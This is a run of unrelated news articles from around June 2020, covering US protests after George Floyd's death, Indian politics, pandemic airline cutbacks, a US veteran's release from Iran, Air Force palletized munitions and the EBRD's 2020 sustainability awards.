Congressional Democrats have been pushing an addition $3 trillion stimulus package and additional unemployment insurance, and Senate Minority Leader Chuck Schumer said after the numbers came out that it was not a time to be "joyous," saying on MSNBC that without more aid from Washington gains could quickly "evaporate."

Trump on surprising jobless numbers: 'We're opening with a bang' originally appeared on abcnews.go.com
By Express News Service

MALAPPURAM: Various organisations in Malappuram on Thursday came out protesting against animal rights activist Maneka Gandhis comment that Malappuram is the most violent district in the country. Gandhi made the comment after a pregnant elephant died after eating a pineapple filled with firecrackers in Palakkad last week.

The leaders of the organisations said Gandhis comment is a deliberate attempt to defame the people of Malappuram district. Indian Union Muslim League (IUML) national general secretary PK Kunhalikutty said it was very disappointing that people in Delhi were spreading misinformation against the district.

The incident in which the elephant died should be investigated. But it is equally disturbing to note that some politicians are making it a tool to degrade the people of Malappuram. People saying Malappuram is the most violent place based on the death of the elephant dont even know where the incident actually happened, Kunhalikutty said. It is clear the attack is an attempt to implement the political agenda of the BJP government, he added.

Meanwhile, the Save Malappuram Forum said it would take legal action against the people who spread hate comments against the people of Malappuram. Actors like Neeraj Madhav and Hareesh Peradi have also raised their voice against the people who tried to spread the fake news that the incident happened in Malappuram. Maneka Gandhis comment is an attempt to add a communal colour to the incident. Home libraries will tell you more about the good culture of Malappuram, Peradi said.
Retired police captain David Dorn killed protecting friends pawn shop from looters

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A retired 77-year-old St. Louis police captain, who spent 38 years protecting his community, was shot dead by looters as he tried to defend a friends pawn shop amid violent protests Tuesday over the death of George Floyd.

The former police captain, identified as David Dorn, was killed outside of Lee's Pawn and Jewelry store in the 4100 block of Martin Luther King Drive around 2:30 a.m., police told KMOV4.Graphic video posted on social media shows Dorns final moments outside, which were reportedly streamed on Facebook Live. An unidentified man in the video says Dorn was killed by looters over television sets.

Call the law man! Call the ambulance man! Come on, they just killed this man over some TVs cuz! the distressed man in a copy of the video posted on YouTube said. He could also be heard trying to encourage Dorn, who appears to be still alive at the start of the video, to stay with me.

The Ethical Society of Police of St. Louis, founded in 1972 by African American Police Officers to address race-based discrimination within the community, and the St. Louis Metropolitan Police Department confirmed Dorns death in a tweet Tuesday but said he would have given his life to save the looters if he had to.

One of the people murdered last night was a retired St. Louis City Captain. He was murdered by looters at a pawnshop. He was the type of brother that wouldve given his life to save them if he had to. Violence is not the answer, whether its a citizen or officer. RIP Captain! the group said.

President Donald Trump also praised the late police captain and said his killers are despicable.

Our highest respect to the family of David Dorn, a Great Police Captain from St. Louis, who was viciously shot and killed by despicable looters last night. We honor our police officers, perhaps more than ever before. Thank you! he said in a tweet.

He also promoted a fundraising campaign to help Dorns family that has already received more than $159,000.

In a pained response to Dorns killing at a press conference Tuesday, Missouri Gov. Mike Parson called for the arrest of the looters who killed the late captain.

"The people that shot him should be accountable. And, no, they're not protesters. They're criminals and they're thugs ... and hopefully they get hunt down," Parson said.

Dorn's son, Brian Powell, told KMOV4 that his father was amazing and had spent most of his life protecting his community.

"The fact that he was protecting and serving, this is the way. I feel in my heart of hearts that he would have liked to leave this earth," said Powell.

He said even though his father was no longer an active police officer, he would still make his duty to ensure his friends business was fine. Powell called his fathers killing senseless.

It was senseless, it was senseless. Over TVs and stuff that's replaceable," he said. "They're forgetting the real message of the protest and the positiveness thats supposed to come out of it. And we get this negative light shown on a situation that really needs light to be brought to it."

No arrests have yet been made for Dorns killing and authorities currently have no suspects. They are offering a $10,000 reward for information leading to an arrest.
Shoppers in Ireland have chosen to support local during the COVID-19 lockdown period, spending 178m on Irish sourced grocery products in the last four weeks ending May 17, 2020.

This is an additional 35m spent on local products compared to the same period in 2019, reveals new data released this week by Nielsen.

The data also shows that the fastest overall growing grocery category continues to be alcohol, as Irish consumers remain without access to pubs and bars.

The demand for locally-sourced Irish products, which has grown by 25% in the last four weeks, has outpaced the growth of non-Irish brands, which experienced value growth of +22% compared to the same period in 2019. In terms of unit sales, this is a +5.4% increase for local brands, while unit sales for non-Irish produced brands grew by +3.1%.

Irish alcohol brands have contributed in large part (47%) to the growth in sales of locally produced products. In fact, the data shows that - inclusive of Irish and non-Irish brands - alcohol is the fastest-growing grocery category.

With pubs, bars and restaurants remaining closed, Nielsen data shows that alcohol sales increased by +66% in the four weeks ending 17th May 2020, reaching 140m. That equates to 22m litres sold, which is still far below the 38m litres sold at this time last year across both the on-trade and off-trade. There was significant growth for stout (+151%) which accounted for 6m in sales, as well as cider (+101% to 11.6m) and gin (+69% to 4.3m) across both local and non-local brands.

Irish consumers are also opting for local when choosing their baking ingredients, with sales of Irish produced flour brands up +217% (+786k) in the last four weeks, and Irish produced sugar increasing by +65% (+250k), both significantly outperforming non-local alternatives.

Nielsen data shows that in the four weeks ending May 17, grocery sales in Ireland totalled 1 billion - a growth of +17% compared to the same period in 2019. Large supermarkets experienced the biggest growth, with value sales up +24% compared to the same period last year, whilst value sales at convenience stores were up by +10%. As well as alcohol, popular categories over this four week period included frozen food, where sales increased by +35% to reach 19m, as well as ambient grocery (shelf-stable food) which experienced a +30% surge in demand, reaching 71m.

Karen Mooney, Ireland market leader at Nielsen, said: Provenance has become increasingly important as a result of the global health pandemic. With shoppers less willing to travel further than absolutely necessary, many are turning to the closest local shops to meet their needs.

"Many shoppers are also actively seeking out local products both for convenience, as the relatively less complex supply chains has meant a wider availability of local products, but also because of greater trust in the safety of local products and the desire to support local producers and businesses. Alcohol remains the category continuing to experience the strongest growth and it is likely this will continue as the weather gets warmer and the restrictions remain in place for restaurants, pubs and bars.
A llama has been hailed as a "morale booster" after it showed up at a Black Lives Matter protest.

As demonstrations take place around the world following the death of George Floyd in police custody , a group in Oregon were joined by the furry animal.

Caesar the llama was brought along to a Portland protest by owner Larry McCool to amplify the work being done by activists in the local area.

The pet who resides at the Mystic Llama Farm works as a therapy animal and has visited schools and blood donation events in the past.

Protestors said Caesar was a morale boost on the march / PA

Protester at the march Nakaycha Dent said: Everyone was immediately all smiles as soon as they saw him galloping past, everyone was shocked there was a llama but you could definitely feel the positive vibe he brought to the crowd.

Some people say that it wasnt safe to bring an animal, but I think the fact that we had successfully had two or three peaceful protests into downtown Portland, people were much more willing to get involved and march and show solidarity.

Police officers take the knee in support of George Floyd protesters 1 /8 Police officers take the knee in support of George Floyd protesters AFP via Getty Images AP AFP via Getty Images AP Reuters Aleeia Abraham

Another protestor Caitlin Reasor said: Everyone seemed really happy to have him there, even those who were confused by his presence.

"He was definitely a good morale booster.

She added: I was only there for about two hours but it was an extremely peaceful and positive protest, those leading it made sure to talk about the impact of police brutality and bring up many of the hundreds of names of people who fall victim to it every day."

Protests have also been taking place in the UK and those taking part have been urged to keep two metres apart.

Thousands gathered in Londons Hyde Park for a demonstration on Wednesday, attended by Star Wars actor John Boyega, who gave an emotive address to the crowd.
At Victoria Park, people held lit candles and played songs that were used by the democracy movement in China that was crushed in 1989. The public display of anger and grief took on greater meaning this year as Beijing has encroached on Hong Kongs liberties with a new national security law.

Meanwhile, in the U.S., demonstrations poured into the streets for a 10th night over the death of George Floyd, a black man who was pinned down by Minneapolis police officers. Many protests took on a mournful tone after a memorial was held for Mr. Floyd earlier in the day.

Quote of note: The reason we could never be who we wanted to be and dreamed of being is you kept your knee on our neck, the Rev. Al Sharpton said. Its time for us to stand up in Georges name and say, Get your knee off our necks.

New: Democrats in Congress are planning to unveil legislation addressing police brutality, racial profiling and the loss of trust between the police and their communities on Monday. Some Republicans have also pledged to act.

Russia: The Kremlin has used the turmoil in America to point out American hypocrisy and deflect criticism of its own security services.

Follow the latest updates on the George Floyd protests here.
Star Wars actor John Boyegas emotional speech during Londons Hyde Park Black Lives Matter protest, on Wednesday, has earned his support from filmmakers and actors around the world.

During the protest, Boyega said it mattered little to him if he does not have a career after the protest. The statement has seen major film studios throw their weight behind him.

Lucasfilm, creators of Star Wars, made a statement on their official Twitter account.

Lucasfilm stands with John Boyega, and his message that, Now is the time. Black lives have always mattered. Black lives have always been important. Black lives have always meant something. The evil that is racism must stop. We will commit to being part of the changes that are long overdue in the world.

Boyegas Star Wars co-star, Mark Hamill also showed his support, tweeting that he had never been prouder of him and signing off, love, dad.

The Last Jedi director Rian Johnson wrote, Love this man of Boyega on Twitter.

The filmmakers began tweeting their support for Boyega after BlacKkKlansman producer Matthew A Cherry shared a post stating: I would work with John Boyega and I urge other Non-Black creators to affirm that they have his back as well.

The Nigerian-British born actor, 28, spoke passionately to a crowd before they marched towards the residence of Prime Minister, Boris Johnson

He teared up while speaking about the death of George Floyd as well as Sandra Bland, Trayvon Martin, and UK man Stephen Lawrence as a result of police brutality, according to The Independent UK.

Boyega thanked all who came out to join the protest, saying it was about time people protested injustice against blacks.

Black lives have always mattered. We have always been important, he said.

We have always meant something. We have always succeeded regardless. And now is the time. I aint waiting. I aint waiting.

Most of the protesters wore masks or gloves and also chanted black lives matter and we will not be silent.

The movie star, who has an estimated net worth of 6 million dollars, played a major role in the new Star Wars trilogy.
India, which expects to be elected to an eighth term on the UN Security Council later this month, said on Friday it will continue working at the world body for an effective response to international terrorism and reforming the multilateral system.

External affairs ministry S Jaishankar launched a brochure outlining Indias priorities for its campaign to secure the elected seat on the UN Security Council during the election scheduled for June 17.

The brochure set out Indias five key priorities as new opportunities for progress, an effective response to international terrorism, reforming the multilateral system, a comprehensive approach to international peace and security, and promoting technology with a human touch as a driver of solutions.

Indias approach will also be guided by the five Ss set out by Prime Minister Narendra Modi - samman (respect), samvad (dialogue), sahyog (cooperation) and shanti (peace) in order to create conditions for universal samriddhi (prosperity).

Jaishankar referred to the international context that the Security Council will face, including new and continuing traditional challenges to international peace and security.

The Covid-19 pandemic has further contributed to a more complex international economic and political environment, including by limiting the capacity of states to respond to local, regional and global challenges, he said.

Jaishankar emphasized Indias long-standing role as a voice of moderation, an advocate of dialogue, and a proponent of international law. He also set out the countrys principled approach to international relations, which the foreign policy establishment will bring to the table at the UN Security Council once India is elected for a two-year term.

Secretary (west) Vikas Swarup of the external affairs ministry said Indias candidature is expected to succeed as it is the single endorsed candidate of the Asia-Pacific group. This would be Indias eighth term on the UN Security Council, and the two-year tenure will start in January 2021.

Indias overall objective during this tenure in the UN Security Council will be the achievement of NORMS or a New Orientation for a Reformed Multilateral System.

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By PTI

AHMEDABAD: In a fresh jolt to the Congress ahead of the Rajya Sabha polls in Gujarat, its MLA Brijesh Merja on Friday resigned from the Assembly membership, becoming the third legislator of the opposition party to quit this week.

The Assembly secretariat confirmed that Speaker Rajendra Trivedi has accepted the resignation of Merja, who was elected from the Morbi seat.

Merja, whose resignation comes ahead of the Rajya Sabha polls for four seats in Gujarat on June 19, is the third Congress MLA to quit in the last three days.

Before quitting as a legislator, Merja resigned from the primary membership of the Congress and shared his resignation letter with the media.

In his resignation letter to party president Sonia Gandhi, Merja said though he had joined the Congress to serve people, he was "unable to do so while being in the party".

Merja is the third Congress MLA to have resigned since Wednesday and the eight since March.

On June 3, Congress MLAs Akshay Patel and Jitu Chaudhary had handed over their resignations to Trivedi.

In March, when Rajya Sabha polls were announced, five Congress MLAs had resigned.

With every drop in the MLA count, the Congress's chances of winning the second Rajya Sabha seat are fast diminishing.

The elections for the four seats were supposed to be held on March 26.

However, they were postponed for an indefinite period in the wake of the coronavirus pandemic and subsequent imposition of nationwide lockdown.

They are now scheduled to he held on June 19.

While the Congress has fielded its senior leaders Shaktisinh Gohil and Bharatsinh Solanki, the ruling BJP has nominated Abhay Bhardwaj, Ramilaben Bara and Narhari Amin as its candidates for the polls, in which MLAs will vote.

In the 182-member Assembly, the BJP has 103 MLAs, while the Congress's count now stands at 65.

While the Bharatiya Tribal Party has two MLAs, the Nationalist Congress Party has one legislator and there is one Independent legislator, Jignesh Mevani.

Ten Assembly seats are vacant - two due to court cases and the rest because of resignations.
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The Trump administration said Friday it will let Chinese airlines operate a limited number of flights to the U.S., backing down from a threat to ban the flights.

The decision came one day after China appeared to open the door to U.S. carriers United Airlines and Delta Air Lines resuming one flight per week each into the country.

The Transportation Department said it will let Chinese passenger airlines fly a combined total of two round-trip flights per week between the U.S. and China, which it said would equal the number of flights that China's aviation authority will allow for U.S. carriers.

Delta praised the U.S. government for trying to "ensure fairness and access to China." United said it was reviewing the matter. Neither said whether the latest development in the dispute between the two countries would affect their plans. Both had hoped to offer more flights.

The Transportation Department said it might further ease restrictions if China does the same. Officials are concerned, however, about conditions China is imposing that could affect whether U.S. airlines resume their flights. Those requirements include taking temperatures of all passengers in midflight and suspending an airline's future flights if five or more passengers test positive for the coronavirus after arriving in China.

China's embassy in Washington did not respond to messages seeking comment.

Special Investigation 147 NY dams are 'unsound,' potentially dangerous Thousands of dams have not been inspected in over 20 years.

The dispute between Washington and Beijing over airline service has been building for weeks and is part of broader trade and diplomatic tension.

In early January, there were more than 300 flights per week between the two countries, but international carriers stopped flying to China as the coronavirus pandemic devastated demand for air travel. United, Delta and American Airlines suspended flights to China before mid-March.

Chinese airlines reduced but didn't eliminate flights to the U.S. They ran about 20 flights per week in February, 34 by mid-March. Air China, China Eastern Airlines, China Southern Airlines and Xiamen Airlines continue flying those routes.

Travel in China and the U.S. partly recovered in the past two months, though it remains far below 2019 levels. In May, Chicago-based United and Atlanta-based Delta petitioned China to resume flights but got no response. Trump protested that China's refusal to grant access to U.S. airlines was unfair. The Transportation Department announced Wednesday that it would prohibit all passenger airline flights from China by June 16.
U.S. Navy veteran Michael White in Mashhad, Iran, in March. (White family)

After being held in an Iranian prison for nearly two years, a U.S. Navy veteran from San Diego who contracted COVID-19 while in custody has been released and has left the Islamic Republic, his family and officials said Thursday.

Michael White, 48, left Tehran on a Swiss government plane headed to Zurich, Switzerland. U.S. officials said White, who was arrested by Irans Islamic Revolutionary Guard Corps in July 2018 after traveling to the city of Mashhad to visit a woman he had been talking to on a dating website, was on his way back to the United States.

White was arrested in the religious city in northeastern Iran during his third trip to the country. The cancer survivor was then held in the notorious Vakilabad Prison, which is known for its harsh conditions.

Throughout his time in custody, Whites lawyers and family in the U.S. were concerned about his deteriorating health. As the coronavirus battered Iran and spread throughout its prisons, family spokesman Jonathan Franks said in March that White had started developing symptoms that were consistent with COVID-19.

He was later hospitalized in a ward for coronavirus patients after falling ill with a fever, fatigue and cough, Franks said.

Given his prior health issues, Whites mother and legal team had been growing increasingly concerned about her sons welfare and feared his life was in danger.

Mark Zaid, a lawyer representing Whites family, and Franks had in recent months called on President Trump to intensify efforts to secure Whites release, and in recent weeks rumors of his release circulated. News of White's release was a surprise to his mother.

For the past 683 days my son, Michael, has been held hostage in Iran by the IRGC and I have been living a nightmare. I am blessed to announce that the nightmare is over, and my son is safely on his way home, Joanne White said in a statement.

I am incredibly grateful to the Administration, especially the team at the State Department for their work on Michaels case and I owe the Swiss Diplomats who have worked so hard to keep Michael safe a debt I can never repay. Outside of Government, Id like to thank Gov. Bill Richardson for repeatedly raising Michaels case with Iranian officials and delivering my personal pleas for my sons freedom.

Story continues

Earlier Thursday, President Trump tweeted that White was on Swiss plane and that it had safely left Iranian airspace.

We expect him to be home with his family in America very soon, Trump said.

White served 13 years in the Navy, where he worked in aviation maintenance administration. Afterward, he attended San Diego State University, where he earned a bachelors degree in political science.

His release comes a few days after detained Iranian American scientist Sirous Asgari was freed from U.S. custody and flown back to Iran. He was reunited with family on Wednesday.

While officials in Iran and the U.S., have denied that Asgari and White's release was part of a prisoner swap, both sides have indicated that the release of the men signaled a positive development that could result in more such releases in the future.

Iranian Foreign Minister Mohammad Javad Zarif said he was happy with the news of White and Asgari's release and called on the U.S. to release all Iranians in its custody.

This can happen for all prisoners, he said. No need for cherry-picking.

Meanwhile, Secretary of State Michael R. Pompeo described Iran as being constructive in this matter.

I commend U.S. Special Representative for Iran Brian Hook for negotiating Mr. Whites release with the Iranians. I thank the Swiss government and the work of our diplomats for facilitating this successful diplomacy, Pompeo said in a statement.

While we are pleased that Iran was constructive in this matter, there is more work to do. The United States will not rest until we bring every American detained in Iran and around the world back home to their loved ones.

Siamak Namazi, an Iranian American who was reportedly sentenced in Iran on charges of spying for the United States, in front of the Golden Gate Bridge on a visit to California. (Inform)

There are at least four other Americans held as prisoners in Iran.

Babak Namazi, whose brother and father, both dual citizens, were arrested and imprisoned while visiting Iran more than four years ago, said that he is happy for Whites family, but that it has become extremely hard to see more prisoners released while his ailing 84-year-old father, Baquer, is still not allowed to leave Iran and his brother, Siamak, remains stuck in an Iranian prison.

"My brother Siamak Namazi remains in Tehrans notorious Evin Prison, despite Iran having furloughed 100,000 other prisoners due to COVID-19 pandemic, Babak Namazi said in a statement. How much should one family have to bear and what will it take to finally get my loved ones home?

Times staff writer Tracy Wilkinson contributed to this report.
FLINT, MI -- The federal government has approved Delta Air Lines request to suspend flights between Flint and Atlanta until Sept. 30, but Bishop Airport officials say the airline could return depending on customer demand.

This is a suspension in service, and not necessarily a market exit, airport Director Nino Sapone said in a statement issued Friday, June 5. The team at Delta headquarters has assured us that they will continue to monitor the demand in Flint, and that they will reevaluate their position as we head into the fall. Could we see service again before September 30th? Yes. Could we have a delay beyond that? Yes. Is there a guarantee of them returning? No. However, the demand for Delta service here has always been, and will remain high.

MLive-The Flint Journal could not immediately reach a Delta representative for comment Friday.

Delta petitioned the U.S. Department of Transportation for the right to suspend all flights to and from Flint and 10 other cities after fliers started staying home in response to the coronavirus pandemic. The DOT issued its final order in the case and in the cases of several other airlines that also asked to suspend service around the country without forfeiting money its receiving in response to the COVID-19 emergency.

In Michigan, in addition to Flint, United Airlines was granted permission to suspend its flights from Chicago to Lansing and Kalamazoo/Battle Creek International Airport in the same order.

Sapones statement says Deltas last day of flights before the suspension will be July 7.

Bishop Airport officials did not contest Deltas initial request for this exemption with the DOT.

During these incredibly difficult times, we understood that it was more important to be a good partner to Delta, and think of our airport and communitys long-term relationship with them, than it was to try to force them to fly from Flint, Sapones statement says. Delta is a fantastic airline and remains a fantastic partner. They did not delight in this decision.

Airport statistics show that although Delta carried nearly 32,000 passengers from Flint in 2019, it carried just 314 fliers to Atlanta in the month of April.

Overall traffic through the first one-third of 2020 show passenger traffic is down 19 percent at Bishop compared to the same time period in 2019.

Michigan airports were flying high before COVID-19. Now theyre fighting to survive

Feds OK suspension of all Delta flights in Flint, United service to Kalamazoo

Delta Air Lines files to suspend all flights in Flint, Lansing and Kalamazoo
BRIDGEPORT A controversial former city public works employee awaiting trial for the Valentines Day fatal shooting of another man was ordered Friday to undergo a psychiatric examination.

Superior Court Judge Joan Alexander ordered the exam for Victor Arroyo at the request of Arroyos lawyer, Frank Riccio II. Arroyo, who is being held in lieu of $2 million bond, was not in the courtroom.

Riccio declined comment as he later left the Fairfield County Courthouse.

Last month, Arroyo claimed he had contracted COVID-19 and asked to be released from prison. His request was denied by the judge.

Arroyo, 22, is charged with murder, carrying a pistol without a permit, third-degree assault, second-degree reckless endangerment, interfering with police, criminal impersonation and failure to appear in court.

Police said Arroyo fatally shot 57-year-old Philip Ingram on Feb. 14 after Ingram went looking for him following a dispute on the East Side.

Arroyo was employed on and off by the city in different jobs, mostly seasonal or temporary, until he was let go in November for allegedly trying to assault the police officer in charge of the citys animal shelter.

Before that, he had been accused of assaulting another employee in city hall. His return to work with the city after that arrest prompted the American Federation of State, County and Municipal Employees, or AFSCME labor union, to send a letter to then-Public Facilities Director John Ricci claiming Arroyo posed a threat to the work environment.

Police said officers reporting to the Feb. 14 murder found Ingram lying in the street in a pool of blood in the area of Kossuth Street just after 9 a.m. He was taken to Bridgeport Hospital where he later died from five gunshot wounds to the torso and lower extremities, according to the autopsy report.

Investigators learned that just prior to the homicide, Ingram had called the Police Department to report being threatened by a man with a gun in a store parking lot. Ingram told the dispatcher he was in the process of driving around looking for the man, police said.
WASHINGTON - Inferior airlift planes like the C-17 Globemaster III and C-130J Super Hercules could transform into heavily-armed ammunitions trucks that can deliver massive destruction by airdropping large bundles of munitions.

Air Force's Warfighting Integration Capability cell's Deputy Director of the service of, Maj. Gen. Clint Hinote shared that the Air Force already conducted tests of palletized munitions and it went successful.

According to Defense News, during the Mitchell Institute for Aerospace Studies event on May 27, He mentioned that they are currently having discussions about proceeding to the prototyping and fielding process.

Based on the term itself, palletized munitions are defined as a group of weapons which are placed onto a smart pallet together, which would later provide targeting and tracking information to the munitions while they are dropped from a platform in the airlift. In February, they released information about the technology and they dubbed it as "a bomb bay in a box" which allows mobility planes and aircraft to stay out of danger zone while launching massive damage.

On January 28, the Air Force Special Operations Command conducted a demonstration of the new technology wherein they used an MC-130J to perform three airdrops of simulated palletized munitions at the Dugway Proving Ground in Utah.

Read also: China Making It Hard for the US Forces to Hit Back at Them

The Research Laboratory of the Air Force mentioned in a released on May 27 that they used munitions stacked upon wooden pallets, or CEPs (Combat Expendable Platforms), which is deployed using a roller system.

They also added that the aircrew of the AFSOC released five CEPs equipped with 6 simulated munitions, has a similar weight with the actual weaponry, which includes four Cargo Launch Expendable Air Vehicles with Extended Range also known as CLEAVERS in a spectrum of low and high altitude airdrops.

According to Forbes, the Air Force Research Laboratory also clarified that they deployed simple long-range cruise missiles from an off-the-shelf pallet system including a crate system which is designed by the Air Force. CLEAVER or the Cargo Launch Expendable Air Vehicles with Extended Range is a new weapon which is currently developed by the lab as part of a separate effort that can be used in palletized munitions process in the future.

The AFRL also shared that the Air Mobility Command held the same demonstration with a C-17, wherein they were able to simulate airdropping of the palletized munitions on February 27.

AFSOC is currently planning to deploy states of simulated munitions which are more advance than the previous and be able to utilize full-up weapon vehicles which can be configured using a terminal guidance system and a warhead in their future demonstrations.

Moreover, the Air Force still looks for new technological options as they request for information in April wherein they sought information about both existing and new palletized munitions concepts. The branch hopes to utilize the information to ensure that experimentation efforts held in the future, including operational assessments and the palletized munitions systems acquisition.

On the other hand, if the effort moves forward, the question is which entity in the Air Force will have the command over the assets' mobility.

Even Hinote emphasized that extremely streamlined control and the command is necessary but cultural barriers inside the Air Force could more challenging than the technological aspect of making the palletized munitions.



Related article: US Air Force Wants to Upgrade Airlift Planes as Weapon Trucks

@ 2022 HNGN, All rights reserved. Do not reproduce without permission.
New Delhi:

CBI on Friday restarted its probe in the Bulandshahr rape case after Supreme Court gave its nod as the agency sent its team to the crime scene.

CBI sources said a team of forensic experts, investigators and support staff reached the crime scene and tried to recreate the events based on details given to them by the victims. The sources said the move came after the Supreme Court lifted its stay on the probe.

A 13-year-old girl and her mother were dragged out of their car and raped by a group of assailants in a field while the victims along with their family were travelling from Noida to Shahjahanpur on the intervening night of July 29-30.

The case was transferred to CBI on the instructions of the Allahabad High Court. The agency had registered a case on August 18 and sent a team of forensic experts and a DIG-ranked officer to the crime scene. UP Police, which had earlier received flak from the Allahabad High Court, had claimed to have solved the blind case within nine days of the incident with arrest of Salim Bawariya, the head of a gang from Rajasthan.

On the basis of his interrogation, two other gang members Zubair and Sajid were arrested by the Special Task Force of UP Police. Later, three more accused Naresh (25), Bablu (22) and Rais (28) were arrested.

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Is Michael Pack fit to serve? Should he be confirmed while he is under investigation and after having been dishonest with the Senate and IRS? Given his alleged use of a small nonprofit for self-enrichment, can we trust that he will not use the massive resources of the U.S. government to line his own pockets? Sen. Robert Menendez (N.J.), the top Democrat on the Senate Foreign Relations Committee, asked on the Senate floor.
Clients awarded for commitment to environmental and social sustainability

16 clients from 11 countries recognised for excellence

Winners demonstrate innovation, best practice and leadership

Businesses, a government ministry and a city that have made outstanding contributions toward promoting environmental and social sustainability were announced today as winners of the EBRDs 2020 Sustainability Awards.

Sustainability underlies all EBRD operations and the Sustainability Awards recognise clients that the Bank works with that are also committed to ensuring sustainability is at the heart of their operations.

Alistair Clark, EBRD Managing Director, Environment and Sustainability said: These Awards recognise the great achievements of our clients in going beyond business as usual to address key environmental and social issues within their projects. A special ceremony for the Sustainability Awards was scheduled to take place at the EBRD Annual Meeting and Business Forum in May 2020, which was cancelled due to the Covid-19 pandemic. Clark added: We look forward to celebrating in person with all our award winners when circumstances allow and raising a toast to their success.

The Sustainability Awards recognise achievements in five specific categories: sustainable energy, climate resilience, environmental and social best practice, environmental and social innovation, and gender and inclusion.

A total of 16 clients from 11 countries were selected for gold, silver and bronze awards.

Gold Awards

Joint winners of the Gold Award for Sustainable Energy are LG Chem Poland and Shams Al Etisalat Lil Taka PSC, Jordan.

LG Chem Poland produces and supplies electric vehicles (EV) batteries for European manufacturers. In 2019, the EBRD signed a 250 million loan with LG Chem Poland to support the construction of a fully integrated Lithium-Ion (Li-Ion) battery plant in Wrocaw. The gigafactory  due for completion in 2022  is expected to reach a production capacity of around 65-70 GWh a year. This will allow LG Chem Poland to supply batteries for up to 1 million electric vehicles per year (approximately 6 per cent of cars sold in Europe), resulting in the annual reduction of over 1 million tonnes of CO 2 emissions. The new plant in Wrocaw will also have a sizeable impact on the local labour market. The company currently employs 2,700 people and plans to hire an additional 1,000 skilled employees by 2022.

The EBRD together with its partners is supporting a pioneering energy project in Jordan with a financial package of up to US$ 35 million. The project will enable the telecoms operator Orange Jordan to cover part of its demand with clean energy generated in solar plants. Shams Al Etisalat Lil Taka PSC was established in Jordan to design, build and operate the three 36.8 MWp solar photovoltaic plants for the project. The plants will help the large telecom operator avoid c. 42,000 tCO2e emissions per year, which is particularly significant given the high energy needs for the development of 5G. The project demonstrates that essential energy needs can be met from indigenous, sustainable, renewable energy sources, and highlights the benefit of transitioning towards renewable energy by setting its management fee 74% lower than the current regulated tariff paid by the off-taker. It also proves that the transition to clean energy sources can be achieved in a replicable, scalable, and economically viable manner. In addition, the project commits to a comprehensive Environmental and Social Action Plan (ESAP) to address the issues associated with the projects implementation and bring it in compliance with the EBRDs E&S Policy.

In the Climate Resilience category, the Ministry of Agriculture, Forestry and Water Management (MAFWM) in Serbia has taken home the Gold Award. An EBRD sovereign loan of 15 million will finance the construction and rehabilitation of the primary irrigation infrastructure in the Negotin region and the rehabilitation of two small accumulation lakes in Vojvodina. Within the framework of this programme, MAFWM is undertaking policy dialogue to prepare the country's first Irrigation Strategy with a five-year Action Plan. This will pave the way towards improved efficiency in the management of the irrigation sector and the introduction of commercial principles through a revised tarriff system. The Ministry is also promoting capacity-building for the Agricultural Advisory and Professional Services of Serbia ("AAPSS"), which will deliver quality training on irrigation and sustainable water use and ensure future access to agricultural extension services for all users  men and women.

The City of Lviv in Ukraine took home the Gold Award for Environmental & Social Best Practice. Lviv is notable for having developed eight municipal projects with the EBRD across every area of municipal services, including public transport, e-ticketing, solid waste, wastewater treatment and biogas production, district heating and roads rehabilitation. Throughout this collaboration, Lviv has consistently placed environmental and social innovation at the top of its agenda: it piloted the EBRDs Green Cities Programme in Ukraine, was one of the first municipalities in the country to undertake voluntary CO 2 reduction obligations under the EU Covenant of Mayors, and has developed a a number of environmental projects. The municipal projects with EBRD alone are expected to result (upon implementation) in CO 2 reductions of 360 thousand tons per annum, which is equivalent to planting 5.9 million trees or taking 76,000 cars off the road. Through piloting new initiatives and projects with the EBRD, the City of Lviv has consistently achieved a significant demonstration effect both in Ukraine and the region as a whole.

The Gold Award for Environmental & Social Innovation goes to Polcom, a Polish provider of modular construction that caters to the hospitality industry worldwide.

Polcom is notable for its cutting-edge technology and innovation, disrupting traditional construction. In addition to productivity gains, modular construction can have a massive environmental impact as buildings are responsible for 40 per cent of energy consumption and 36 per cent of CO 2 emissions in the EU. An EBRD loan of PLN 108.43 million (25 million equivalent) will fund an investment programme to expand Polcoms production capacity, and implement process and energy efficiency improvements. Over the five-year tenure of the loan, it is estimated that the increase in module production capacity will avoid generation of 7,800 tons/yr of construction waste. It will also cut greenhouse gas emissions by 6,700tCO2eq/yr, compared to traditional construction practices. This corresponds to a 25% reduction in estimated lifecycle GHG emission from reduced transport for material delivery, the commuting of construction operatives and disposal of construction wastes, as well as reduced heat losses from building insulation defects.

The winner of the Gold Award in the Gender and Inclusion category goes to the

JSC Medical Corporation EVEX in Georgia. The EBRD has provided a senior secured local currency loan of up to US$ 4m equivalent to EVEX, which is the largest provider of healthcare services in Georgia. Proceeds will be used to finance the construction of a new laboratory facility in Tbilisi. As a local market leader, EVEX is uniquely placed to spearhead social innovations in the healthcare sector to promote gender and economic inclusion. It is advancing nurses education and improving economic opportunities at the entry level for the benefit of young labour market entrants. In particular, EVEX is focused on the development of textbooks for nurses, improving learning outcomes and strengthening entry-level skills for young people; outreach to male nurses, addressing equal opportunities in a pink-collar occupation to broaden the labour supply; and policy dialogue on skills standards, reducing skills mismatches to ensure that young trainee nurses and midwives gain the best possible start in their careers and for their future livelihoods.

The following clients won Silver and Bronze prizes:

The Silver Winners

Sustainable Energy: Egyptian Electricity Transmission Company (Egypt)

Climate Resilience: Government of North Macedonia and City of Skopje (North Macedonia)

Environmental & Social Best Practice: Joint winners were Migros (Turkey) and Isik Organic (Turkey)

Environmental & Social Innovation: Duran Dogan (Turkey)

Gender and Inclusion: KazMicroFinance (Kazakhstan)

The Bronze Winners

Sustainable Energy: Sabac District Heating Company (Serbia)

Climate Resilience: Motorways of Federation of Bosnia and Herzegovina (FBHM) and Motorways of Republika Srpska (RSM) (Bosnia and Herzegovina)

Environmental & Social Best Practice: Arkas Holding (Turkey) and Diusport (Germany)

Environmental & Social Innovation: Apa Canal Pitesti (Romania)

Gender and Inclusion: Egyptian National Railways (ENR) (Egypt)

Read more about the Gold, Silver and Bronze winners of the 2020 Sustainability Awards here.

There were 47 nominations for the 2020 Sustainability Awards, of which 35 nominations were shortlisted by an internal EBRD committee. These shortlisted clients were then assessed, using a scoring matrix devised by the Bank, by an external judging panel. The three judges for the 2020 awards were Gulbin Uzuner Bekit, CFO of Akfen Holding; Barry Cowell, Head of the Environmental Discipline, UK at the international consulting company WSP; and Elena Amirkhanova, Partner and EMEA Account Director, Sustainable Finance at Environmental Resources Management (ERM).

The EBRD promotes environmental and social sustainability through investments in projects, financial intermediaries and technical cooperation programmes.
Indonesia on Friday rejected a Chinese offer for negotiations on the South China Sea, as Jakarta reiterated that it had no overlapping claims with Beijing in its exclusive economic zone.



